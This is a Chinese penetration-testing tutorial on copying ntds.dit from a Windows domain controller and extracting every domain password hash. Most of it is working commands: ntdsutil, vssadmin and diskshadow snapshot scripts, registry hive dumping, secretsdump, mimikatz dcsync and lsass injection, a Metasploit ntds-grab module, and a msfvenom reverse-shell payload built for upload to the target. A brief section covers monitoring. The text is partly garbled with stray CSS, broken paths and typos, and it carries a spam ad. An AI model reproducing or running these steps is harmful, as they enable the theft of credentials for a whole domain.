在通常情况下、即使拥有管理员权限,也无法读取域控制器中的C:WindwosNTDSntds.dit文件。使用Windows本地卷影拷贝服务可以获得文件的副本。
卷影拷贝服务提取NTDS

在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%ntdsntds.dit。ntds.dit中包含用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。在一般情况下,系统运维人员会利用卷影拷贝服务实现这些操作。VSS本质上属快照。
一:Ntds的提取
1.1:Ntdsutil.exe提取
ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导;padding: 16px;border-left: 8px solid rgb;display: block;background: rgb;overflow: auto;word-break: break-word " data-from-paste="1" data-diagnose->
1 ntdsutil snapshot “activate instance ntds” create quit quit
【一>所有资源关注我,私信回复“资料”获取<一】1、200份很多已经买不到的绝版电子书2、30G安全大厂内部的视频资料3、100份src文档4、常见安全面试题5、ctf大赛经典题目解析6、全套工具包7、应急响应笔记8、网络安全学习路线
可以看到,创建了一个GUID为{67d45168-4e4a-4b39-bc80-385d9f493dd3}的快照。
步骤二:
加载创建的快照
1 ntdsutil snapshot “mount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}” quit quit
步骤三:
复制快照中的文件
1 copy C:$SNAP_202012281442_VOLUMEC$WindowsNTDSntds.dit C:UsersPublic
步骤四:
卸载之前加载的快照并删除
1 ntdsutil snapshot “unmount {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}” “delete {c4c25fa3-510b-4ae7-92b9-a29c68c49d0f}” quit quit
步骤五:
查询当前快照
1 ntdsutil snapshot “List All” quit quit
1.2:Vssadminn.exe提取
vssadminn是 Windows Server 2008 & Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息
1 import-module .Copy.VSS.ps12 Copy-vss
备注:Powershell语法…
1 IEX .DownloadString;Copy-VSS
1.5:DiskShadow
微软官方文档中有这样的说明:“diskshadow.exe 这款工具可以使用卷影拷贝服务所提供的多个功能。在默认配置下,diskshadow.exe 使用了一种交互式命令解释器, 与DiskRaid或DiskPart类似。”事实上,因为diskshadow的代码是由微软签名的,而且Windows Server 2008、Windows Server 2012和Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds dit。diskshadow的功能与vshadow类似,且同样位于C:windowssystem32目录下。不过,vshdow是包含在Windows SDK中的,在实际应用中可能需要将其上传到目标机器中。
diskhadow 有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exee调取一个脚本 文件来执行相关命令。下面通过实验讲解diskshadow的常见命令及用法。
1 diskshadow.exe / #查看diskshadow.exe的帮助信息
实验五:DiskShadow提取Ntds.dit
步骤一:在渗透测试中,可以使用diskshadow.exe来执行命令。例如,将需要执行的命令"exec c:windowssystem32calc.exe"写入c盘目录下的command.txt文件,使用diskshadow.exe执行该文件中的命令
1 c:>diskshadow /s c:commmand.txt
步骤二:使用diskshadow.exe加载command.txt文件时需要在c:windowssystem32下执行…
1 c:WindowsSystem32>diskshadow /s c:command.txt
1 //设置卷影拷贝2 set context persistent nowriters3 //添加卷4 add volume c: alias someAlias 5 //创建快照6 create 7 //分配虚拟磁盘盘符8 expose %someAlias% k: 9 //将ntds.dit复制到C盘c:ntds.dit10 exec “cmd.exe” /c copy K:WindowsNTDSntds.dit c:ntds.dit 11 //删除所有快照12 delete shadows all 13 //列出系统中的卷影拷贝14 list shadows all 15 //重置16 reset 18 //退出19 exit
步骤三:导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit的密钥,所以如果没有该密钥,将无法查看ntds.dit中的信息。
1 c:>reg save hklmsystem c:windowstempsystem.hive
在使用DiskShadow过程中,需要注意以下几点:
渗透测试人员可以在非特权用户权限下使用diskshadow.exe 的部分功能。与其他工具相比,diskshadow 的使用更为灵活。
在使用diskshadow.exe 执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用vshadow等工具时,可以直接执行相关命令。
在渗透测试中,应该先将含有需要执行的命令的文本文件写人远程目标操作系统,再使用diskshadow.exe调用该文本文件。
在使用diskshadow.exe导出ntds.dit时,可以通过WMI对远程主机进行操作。
在使用diskshadow.exe导出ntds.dit时,必须在C:windowssystem32中进行操作。
脚本执行后,要检查从快照中复制出来的ntds.dit文件的大小。如果文件大小发生了改变,可以检查或修改脚本后重新执行。
1.6:监控卷影拷贝
通过监控卷影拷贝服务的使用情况可以及时发现攻击者在系统中进行的一些恶意操作…
监控卷影拷贝服务及任何涉及活动目录数据库文件的可疑操作行为。
监控System Event ID 7036的可疑实例,以及创建vssvc.exe进程的事件。
监控创建dkshndko.exe及相关子进程的事件。
监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要, 在Windows操作系统中不应该出现diskshadow.exe.如果发现,应立刻将其删除。
通过日志监控新出现的逻辑驱动器映射事件。
二:Ntds散列值
当我们获得了域控上的NTDS.dit文件后,我们肯定要想办法从中到处其中的散列值…
2.1:EseDBexport
从NTDS.dit中导出用户表的第一步就是使用libesedb中的esedbexport,你可以下载到最新版本。
步骤一:安装依赖
1 apt-get install autoconf automake autopoint libtool pkg-config
步骤二:进行安装
1 $ ./configure2 $ make3 $ sudo make install4 $ sudo ldconfig
步骤三:到/usr/local/bin/下查看esedbexport工具
步骤四:使用该工具提取ntds.dit中的表并将结果存放在ntds.dit.export中。
两个重要的表为:datatable以及link_table,他们都会被存放在./ntds.dit.export/文件夹中.
一旦表被提取出来,很多python工具可以将这些表中的信息进一步提取,比如ntdsxtract就可以完美进行。
步骤五:安装ntdsxtract
1 $ git clone https://github.com/csababarta/ntdsxtract.git2 $ cd ntdsxtract/3 $ python setup.py build && python setup.py install
步骤六:将ntds.dit.export文件夹和system放在同一目录下,执行如下命令:
1 dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive system --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee all_user.txt
使用以下命令导出域内计算机信息及其他信息,将会导出为all_computers.csv文件。
1 dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv
2.2:Impacket
使用Impacket工具包中的Secretsdump也可以解析Ntds.dit文件从而导出散列值.
实验二:Impacket导出散列值
方法一:在Kali Linux执行以下操作
1 git clone https://github.com/csababarta/ntdsxtract.git2 ┌──-[/tools/ntdsxtract]3 └─# python setup.py install4 ┌──-[/tools/ntdsxtract]5 └─# impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL #导出ntds.dit中的散列值。
方法二:impacket还可以通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值。
1 impacket-secretsdump -hashes
-just-dc testlab.com/Administrator@1.1.1.8
2.3:NTDSDumpex
使用NTDSDumpex.exe可以进行导出散列值的操作。NTDSDumpex将ntds.dit、SYSTEM和NTDSDumpex.exe放在同一目录下,打开命令行环境,输人如下命令,导出域账号和域散列值…
1 C:UsersAdministratorDesktop>NTDSDumpEx.exe -d ntds.dit -s system
三:散列值获取
以下为其他方式获取NTDS.dit的散列值…
3.1:Mimikatz
mimikaz有一个 dcsync功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。需要注意的是,必须使用域管理员权限运行mimikatz才可以读取ntds.dit
实验一:Mimikatz抓取域散列值
方法一:在域内的任意一台计算机,以管理员权限打开命令行环境
1 lsadump::dcsync /domain:hello.testlab.com /all /csv #导出域内所有用户名及散列值2 lsadump::dcsync /domain:hello.testlab.com /user:Administrator #导出用户Administrator的散列值。
3 privilege::debug4 lsadump::lsa /inject #转储lsass.exe进程对散列值进行Dump操作5 如果没有预先执行prvile::debug命令,将导致权限不足、读取失败。如果用户数量太多,mimikatz 无法完全将其显示出来,可以先执行log命令。
方法二:Invoke _DCSync.ps1可以利用desync直接读取ntds.dit,以获取域账号和域散列值,输人"Invoke-DCSync -PWDumpFormat"命令;border-radius: 2px;padding: 2px 4px;color: rgb" data-from-paste="1" data-diagnose->-PWDumpFormat参数用于对输出的内容进行格式化)
1 PS C:UsersAdministrator> import-Module .Invoke-DCSync.ps12 PS C:UsersAdministrator> Invoke-DCSync -PWDumpFormat
3.2:metasploit
在获取目标主机后通过Ngrok内网穿透获取shell在通过以下操作…获取到域散列值…
实验二:metasploit获取域散列值
方法一:Psexec_ntdsgrab模块
1 msf6 auxiliary > back2 msf6 > use auxiliary/admin/smb/psexec_ntdsgrab3 msf6 auxiliary > show options
4 Module options :
5 Name Current Setting Required Description---- --------------- -------- -----------6 CREATE_NEW_VSC false no If true, attempts to create a volume shadow copy7 RHOSTS 1.1.1.8 yesThe target host, range CIDR identifier, or hosts file with syntax ‘file:
18 msf6 auxiliary > run
19 获取到ntds.dit文件和system复制到/root/.msf6/loot文件夹下,使用impacket工具包进行解析ntds.dit文件。
模块二:基于Meterpreter会话获取域账户与域名散列值…
1 msf6 > use exploit/multi/handler #创建监听2 [*] Using configured payload generic/shell_reverse_tcp3 msf6 exploit > set payload windows/x64/meterpreter/reverse_tcp4 payload => windows/x64/meterpreter/reverse_tcp5 msf6 exploit > set lhost 1.1.1.56 lhost => 1.1.1.57 msf6 exploit > set lport 7778 lport => 777
9 ┌──-[/var/www/html]10└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.1.1.5 LPORT=777 -f exe > ser.exe #生成的文件上传到目标机器并执行
11 msf6 exploit > exploit -j -z12 [] Exploit running as background job 0.13 [] Exploit completed, but no session was created.14 [*] Started reverse TCP handler on 1.1.1.5:777
15 msf6 exploit > use post/windows/gather/credentials/domain_hashdump #使用后渗透模块获取账户和域散列值。16 msf6 post > show options17 msf6 post > set SESSION 218 SESSION => 219 msf6 post > exploit
3.3:Vshadow与QuarksPwDump
在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进人域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。
QuarksPwDump可以快速、安全、全面地读取全部域账号和域散列值。
ShadowCopy是一款免费的增强 型文件复制工具。ShadowCopy 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件。
vshdow.exe是从Windows SDK中提取出来的。在本实验中,安装vshadow.exe 后,会在VSSDK72TestAppsvshadow目录下生成一个bin文件vshadow.xce 将文件全部放人domainhash文件夹中

在shadowcopy.bat中设置工作目录为C:WindowsTemp
执行shaowopba脚本,复制ntds.dit.然后,使用QuarksPwDump修复ntds.dit并导出域散列值。运行该脚本后,会在刚刚设置的工作目录下存放导出的ntds.dit和hash.txt。
四:域提权漏洞
4.1:MS14-068
微软在2014年1月18日发布了一个紧急补了,修复了Kerhers 城用户提权漏润所有Windwos服务器操作系统都会受该漏洞的影响,包括WindowsServer2003、Windows Server 2008``Windows Sever 2008 R2、Windows Server 2012和Wins2012R2。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将城内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了城内任何台计算机的Shell 权限,同时知道任意城用的用户名、SID、密码,即可获得城管理员权限,进而控制域控制器,最终获得域权限。



